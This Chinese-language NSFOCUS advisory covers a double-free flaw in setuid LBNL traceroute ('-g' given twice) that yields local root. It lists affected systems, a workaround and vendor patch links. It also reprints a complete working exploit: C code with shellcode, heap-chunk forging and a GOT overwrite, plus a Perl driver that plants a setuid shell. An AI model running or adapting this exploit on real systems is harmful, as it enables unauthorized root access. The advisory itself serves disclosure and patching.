首页 -> 安全研究

安全研究

安全漏洞
LBNL Traceroute "-g"参数导致free()调用错误漏洞

发布日期:2000-10-09
更新日期:2000-10-09

受影响系统:

LBL traceroute 1.4a5
   - Trustix Secure Linux 1.1
   - Trustix Secure Linux 1.0
   - RedHat Linux 6.x
   - RedHat Linux 5.x
   - Linux Mandrake 7.1
   - Linux Mandrake 7.0
   - Debian Linux 2.2
   - CONECTIVA Linux 4.0, 4.0es, 4.1, 4.2, 5.0, ecommerce, 5.1
   - Caldera eDesktop 2.4
   - Sun Solaris 2.5.1
不受影响系统:
- LBL traceroute 1.4a7
- Linux SuSE 6.3, 6.4
- Solaris 2.6/7/8
描述:


很多Unix系统将Traceroute 设置了setuid root属性,因为它需要操作raw socket.在
LBNL版的traceroute中存在一个安全漏洞,攻击者可以利用错误的释放未分配的内存
来获取本地root权限。

当traceroute使用"-g x -g x"执行时,函数"savestr()"被调用了两次,在第二次调用
"savestr()"时,free()调用错误的释放一块本来就没有分配的内存,导致用户提供的数
据被写到了Heap区中,通过巧妙构造数据格式,攻击者可以执行任意代码。


<*来源: Pekka Savola     (pekkas@netcore.fi
         Chris Evans      (chris@ferret.lmh.ox.ac.uk
         W.H.J.Pinckaers  (w.h.j.pinckaers@cpedu.rug.nl
         Perry Harrington (pedward@webcom.com
*>



测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


dvorak (dvorak@synnergy.net )提供了下列测试代码:
/*
    argv0: at first it looks that this doesn't matter but since
             this is the value found at the top of the stack and thus
             it's length matter for the location of the shellcode.

    argv0: bs

      argv1: nothing is needed for this it should just contain
             6 bytes and a 0 (and off course it should be acceptable
             to inet_addr)
    argv1: only specific length
           addr1 will become: 4 bytes from addr2 + zeros
             length so that p->size = last byte + 3 zeros
             p->prev_size = first 3 bytes + 00
             thus: 6 bytes + 0
             p data:
             size = 0x20 or so;
             prev_size = ((char *)p) - ((char *) eleet stack pointer)
             p = addr2 - 7 - 8

             so next data should be on addr2 + 0x20 - 7 - 8
      argv2: this requires much more thought, the ip_address should be
             so that p->prev_size and p->size make sense.
             p->prev_size should be so that prev can be found on the
             stack since that's an easy place to put it, p->size should
             be 0x20 or so so that we can put the next chunk in this
             argument too.
    argv2: ip addres so that: p->size makes sure next is
           somewhere in argv2
        p->prev_size should point to eleet data on stack (through
        environment)
        spacing: next data:
            prev_size = 0x41414141;
            size = 0xfffffff0
            fd = some_random_pointer (or you could use him)
            bk = some_random_pointer
        after that: data for next (prev_size + size + fd + bk)
        prev_size probably negative
      argv3: contains the chunk used for prev and the shellcode
             including the jmp.
    argv3: eleet data on stack + eleet shellcode baby
             eleet data:
             prev_size = BS;
             size = BS
             fd = &ret_addr_change - 12
             bk = shellcode;
             shellcode = jmp forward + nops + code
*/

#include <stdio.h>

/*
easy shellcode - remember there is a certain trick in this baby like
not starting /bin/sh but /tmp/sh (yes the 0 byte is written by the
code itself so make sure there is something worthwhile in /tmp/sh
*/
char shellcode[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/tmp/sh-O=";

/*
code to jump forward
*/
char jmp_forward[] = "\xeb\x0c";

/*
again the stupid make_addr function ;)
*/
void make_addr(char *res, unsigned int val)
{
    int i;
    char *p = (char *) &val;

    for (i = 0; i < 4; i++)
        res[i] = (char) *p++;
    res[i] = '\0';
}

/*
which argument number contains the leet_addr and the shellcode?
*/
#define LEETARG 7

int main(int argc, char *argv[])
{
    char addr1[1000];
    char addr2[1000];
    char padding[256];
    char execute_me[1000];
    int execute_shift = 0;
    /* next data: prev_size = crap, size=crap and fd and bk
       point to someplace innocent in the stack, if you want
       to you can use it to change a second memory place.
     */
    char *next_data = "\x41\x41\x41\x41\xf0\xff\xff\xff"
                      "\xf0\xfd\xff\xbf\xf0\xfd\xff\xbf";
    char *leet_data;
    /*
     The arguments to start traceroute with, -g separated from its
     argument because of getopt.
     */
    char *arg[] = {"/usr/sbin/traceroute", "-g", addr1, "-g",
               addr2, "127.0.0.1", "12", execute_me, NULL};
    unsigned int leet_amount;
    /*
     This needs some explanation: since the prev chunk will be at
     a certain distance from p we need to know p since it changes
     from binary to binary we'll let the attacker figure it out
     and give it to us ;).
     */
    unsigned int p = strtoul(argv[2], 0, 0);

    char shell_addr[5];
    char ret_addr[5];

    /* the first addr 6 bytes long */
    snprintf(addr1, sizeof(addr1), "1.2.11");

    /*
     First we fill execute_me (which will make the LEETARG) with
     0x41 thats both a NOP and easy to find on the stack.
     */
    memset(execute_me, 0x41, sizeof(execute_me));

    /*
     We put the shellcode and the jmp at the end of execute_me
     */
    strncpy(execute_me+sizeof(execute_me)-strlen(shellcode)-20-1,
            jmp_forward, strlen(jmp_forward));
    strcpy(execute_me+sizeof(execute_me)-strlen(shellcode)-1,
           shellcode);

    /*
     Calculate the address of the shell_code
     the stack at startup looks like:
     arg4 arg5 arg6 argLEETARG environment arg0 4 bytes
     since the environment is gone and LEETARG is the last argument
     we only need the length of the shellcode and the length of arg0
     */
    make_addr(shell_addr, 0xc0000000 - 4 - (strlen(arg[0]) + 1) -
              (strlen(shellcode) +1 + 20));
    /*
     We also ask the attacker to give the address of the pointer to
     change to point to the shellcode. Something in the GOT is
     usually very nice
     */
    make_addr(ret_addr, strtoul(argv[1], 0, 0) - 12);

    /*
     leet_data should be in 0xbfff fe00 + (p & 0xff)
     now we calculate the address where chunk_free() will look for
     prev chunk.
     We put prev chunk somewhere between 0xbffffe00 and 0xbfffff00
     the precise position is defined by the lsb of p.
     */
    printf("p: 0x%08x\n", p);
    leet_data = (char *) (0xbffffe00 + ((int)p & 0xff));
    printf("leet_data: 0x%08x\n", leet_data);
    /*
     calculate the value of p->prev_size
     */
    leet_amount = p - (0xbffffe00 + ((int)p & 0xff));
    printf("leet_amount: 0x%08x\n", leet_amount);
    
    /* the end of execute_me will be on 0xc0000000 - 8
       length of execute_me should thus be:
       0xc0000000 - leet_data - 8
       2 possibilities: either don't put the fake prev chunk at the
       beginning of execute_me or change the length of execute_me
       we choose the latter.
     */
    execute_shift = sizeof(execute_me) -
      (0xc0000000 - (int) leet_data - 4 - (strlen(arg[0]) + 1));
    printf("execute_shift: %d\n", execute_shift);

    arg[LEETARG] += execute_shift;

    /*
     use strcpy not snprintf since snprintf does 0 terminated its
     strings
     */
    strncpy(arg[LEETARG], "\x41\x41\x41\x41\x31\x31\x31\x31", 8);
    strncpy(arg[LEETARG]+8, ret_addr, 4);
    strncpy(arg[LEETARG]+12, shell_addr, 4);

    printf("execute_len:%d arg0%d\n", strlen(arg[LEETARG]),
           strlen(arg[0]));
    printf("execute_me_addr: %08x\n", 0xc0000000 - 4 -
           strlen(arg[0]) - strlen(arg[LEETARG]) - 2);

    /*
     pad the second -g option to place next chunk on the expected
     position
     */
    memset(padding, ' ', sizeof(padding));

    /*
     0x20 - p->size
     - 7 because thats the size of addr1
     - 8 for p->size and p->prev_size
     - 12 for addr2 (xx.xx.xx.xx )
     */

    padding[0x20 - 7 - 8 - 12] =  '\0';
    printf("padding: %d bytes\n", strlen(padding));

    /*
     put hex equivalent of leet amount in ip_address
     */
    snprintf(addr2, sizeof(addr2),
             "0x%02x.0x%02x.0x%02x.0x%02x%s%s",
             ((unsigned char *) &leet_amount)[1],     
             ((unsigned char *) &leet_amount)[2],     
             ((unsigned char *) &leet_amount)[3],     
             0x20,
             padding, next_data);
    /*
     This time it should work ;)
     */
    printf("Going for root!!!\n");
    execve(arg[0], arg, NULL);
}



#!/bin/perl

# build exploit
system("make ex_god");

system("echo 'void main(void) { setuid(0); setgid(0);
execl(\"/bin/sh\", \"sh\", 0);}' > /tmp/sh.c ; make /tmp/sh >
/dev/null 2>/dev/null");

# get p
system("cp /usr/sbin/traceroute ./tra; ltrace -e malloc -o lk ./tra
-g1 > /dev/null 2>/dev/null; rm ./tra");

open F, "<lk";

$line = <F>;
($dummy, $p) = split( /\= /, $line,2);
$p = (hex $p) - 1;
close F;

# get a GOT entry
open F, "objdump -R /usr/sbin/traceroute | grep getopt|";
$line = <F>;
($got, $dummy) = split( / /, $line, 2);
close F;

system("./ex_god 0x$got $p");


建议:

临时解决方案:

NSFOCUS建议您再没有安装补丁程序之前,暂时却掉traceroute的suid root属性。

厂商补丁:


[ Red Hat Linux 5.x ]:

alpha:
ftp://updates.redhat.com/5.2/alpha/traceroute-1.4a5-24.5x.alpha.rpm

sparc:
ftp://updates.redhat.com/5.2/sparc/traceroute-1.4a5-24.5x.sparc.rpm

i386:
ftp://updates.redhat.com/5.2/i386/traceroute-1.4a5-24.5x.i386.rpm

sources:
ftp://updates.redhat.com/5.2/SRPMS/traceroute-1.4a5-24.5x.src.rpm

[ Red Hat Linux 6.x ]:

alpha:
ftp://updates.redhat.com/6.2/alpha/traceroute-1.4a5-24.6x.alpha.rpm

sparc:
ftp://updates.redhat.com/6.2/sparc/traceroute-1.4a5-24.6x.sparc.rpm

i386:
ftp://updates.redhat.com/6.2/i386/traceroute-1.4a5-24.6x.i386.rpm

sources:
ftp://updates.redhat.com/6.2/SRPMS/traceroute-1.4a5-24.6x.src.rpm

[ ImmunixOS 6.2 ]:

http://www.immunix.org:8080/ImmunixOS/6.2/updates/RPMS/traceroute-1.4a5-24.6x_StackGuard.i386.rpm
http://www.immunix.org:8080/ImmunixOS/6.2/updates/SRPMS/traceroute-1.4a5-24.6x_StackGuard.src.rpm

[ Trustix Linux ]

http://www.trustix.net/download/Trustix/updates/1.1/RPMS/traceroute-1.4a5-18tr.i586.rpm

[ Linux Mandrake ]

Linux-Mandrake 6.0:
ftp://ftp.free.fr/pub/Distributions_Linux/Mandrake/updates/6.0/RPMS/traceroute-1.4a5-12mdk.i586.rpm
ftp://ftp.free.fr/pub/Distributions_Linux/Mandrake/updates/6.0/SRPMS/traceroute-1.4a5-12mdk.src.rpm

Linux-Mandrake 6.1:
ftp://ftp.free.fr/pub/Distributions_Linux/Mandrake/updates/6.1/RPMS/traceroute-1.4a5-12mdk.i586.rpm
ftp://ftp.free.fr/pub/Distributions_Linux/Mandrake/updates/6.1/SRPMS/traceroute-1.4a5-12mdk.src.rpm

Linux-Mandrake 7.0:
ftp://ftp.free.fr/pub/Distributions_Linux/Mandrake/updates/7.0/RPMS/traceroute-1.4a5-12mdk.i586.rpm
ftp://ftp.free.fr/pub/Distributions_Linux/Mandrake/updates/7.0/SRPMS/traceroute-1.4a5-12mdk.src.rpm

Linux-Mandrake 7.1:
ftp://ftp.free.fr/pub/Distributions_Linux/Mandrake/updates/7.1/RPMS/traceroute-1.4a5-12mdk.i586.rpm
ftp://ftp.free.fr/pub/Distributions_Linux/Mandrake/updates/7.1/SRPMS/traceroute-1.4a5-12mdk.src.rpm

[ conectiva Linux ]:

ftp://atualizacoes.conectiva.com.br/4.0/SRPMS/traceroute-1.4a7-2cl.src.rpm
ftp://atualizacoes.conectiva.com.br/4.0/i386/traceroute-1.4a7-2cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/4.0es/SRPMS/traceroute-1.4a7-2cl.src.rpm
ftp://atualizacoes.conectiva.com.br/4.0es/i386/traceroute-1.4a7-2cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/4.1/SRPMS/traceroute-1.4a7-2cl.src.rpm
ftp://atualizacoes.conectiva.com.br/4.1/i386/traceroute-1.4a7-2cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/4.2/SRPMS/traceroute-1.4a7-2cl.src.rpm
ftp://atualizacoes.conectiva.com.br/4.2/i386/traceroute-1.4a7-2cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/5.0/SRPMS/traceroute-1.4a7-2cl.src.rpm
ftp://atualizacoes.conectiva.com.br/5.0/i386/traceroute-1.4a7-2cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/5.1/SRPMS/traceroute-1.4a7-2cl.src.rpm
ftp://atualizacoes.conectiva.com.br/5.1/i386/traceroute-1.4a7-2cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/ferramentas/ecommerce/SRPMS/traceroute-1.4a7-2cl.src.rpm
ftp://atualizacoes.conectiva.com.br/ferramentas/ecommerce/i386/traceroute-1.4a7-2cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/ferramentas/graficas/SRPMS/traceroute-1.4a7-2cl.src.rpm
ftp://atualizacoes.conectiva.com.br/ferramentas/graficas/i386/traceroute-1.4a7-2cl.i386.rpm


浏览次数:7426
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障